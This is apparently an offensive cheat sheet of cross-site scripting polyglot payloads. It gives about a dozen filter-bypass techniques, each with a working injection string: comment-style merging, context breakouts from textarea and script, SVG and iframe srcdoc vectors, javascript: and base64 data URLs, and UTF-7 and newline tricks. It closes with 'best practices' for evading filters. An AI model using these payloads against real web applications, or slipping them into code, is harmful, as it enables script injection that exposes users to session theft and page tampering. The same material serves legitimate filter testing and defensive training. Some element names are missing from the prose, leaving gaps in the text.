Polyglot payloads leverage multiple encoding, injection, and obfuscation techniques to bypass filters, confuse parsers, and trigger execution across different contexts like HTML, JavaScript, CSS, JSON, etc.

-Merging Comment Styles
Polyglots often confuse parsers by merging different comment styles:

JavaScript: //, /* */
HTML: <!-- -->

<!--<script>/*--><svg onload=alert(1)/*</script>-->

-Using Encoded Entities
Bypassing filters using HTML or URL encoding:

HTML: &lt;, &gt;, &quot;
URL: %3C, %3E, %22

&lt;script&gt;alert(1)&lt;/script&gt;

-Multiple Language Contexts
Polyglot payloads work across multiple languages like HTML, JavaScript, CSS.

"><svg onload=alert(1) style="background:url(javascript:alert(1))"><!--

-Breaking Out of Contexts
Escape from current contexts like textarea, script, or style.

</textarea><svg onload=alert(1)>

-Abusing HTML5 Elements
Using modern elements like , , or .

<svg onload=alert(1)></svg>
<iframe srcdoc="<svg onload=alert(1)>"></iframe>
<math><mtext><script>alert(1)</script></mtext></math>

-Contextual Event Handlers
Inject event handlers into HTML tags like onload, onmouseover.

<div class="x" onmouseover="alert(1)">

-Combining HTML, JavaScript, and CSS
Mixing contexts of HTML, CSS, and JavaScript.

</style><script>alert(1)</script><style>

-Utilizing SVG and XML Features
SVG allows injection via JavaScript URIs and other XML-based features.

<svg><image href="javascript:alert(1)"></svg>

-Protocol Confusion (Data URLs, JavaScript URLs)
Use javascript: or data: URLs for payload delivery.

<a href="javascript:alert(1)">Click me</a>

<iframe src="data:text/html;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+"></iframe>

-Breaking with Newline Characters
Using newlines \n or carriage returns \r to bypass filters.

"onmouseover=\nalert(1)//"

-Polyglot Structures
Payloads that work across multiple languages like CSS and JavaScript.

*/ alert(1) /*

-UTF-7 Encoding
Using less common encodings like UTF-7.

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

-Using HTML5 Injection Vectors
Use modern HTML5 vectors like srcdoc, formaction, or sandbox.

<iframe srcdoc="<script>alert(1)</script>"></iframe>

-Multiple Closings & Layering
Close different tags to break out of nested contexts.

</textarea></script></iframe><svg onload=alert(1)>

Best Practices for Polyglot Payloads
Diversify Attack Vectors: Use multiple elements like , , <script>. Encoding: Use HTML or URL encoding to bypass filters. Event Handlers: Combine with event handlers like onmouseover, onload. Context Escaping: Focus on breaking out of strings, attributes, or tags. Minimize Payload Length: Keep payloads short to bypass length restrictions. These techniques show how polyglot payloads can bypass modern filters by using multiple languages and contexts.

Creating Powerful XSS Polyglots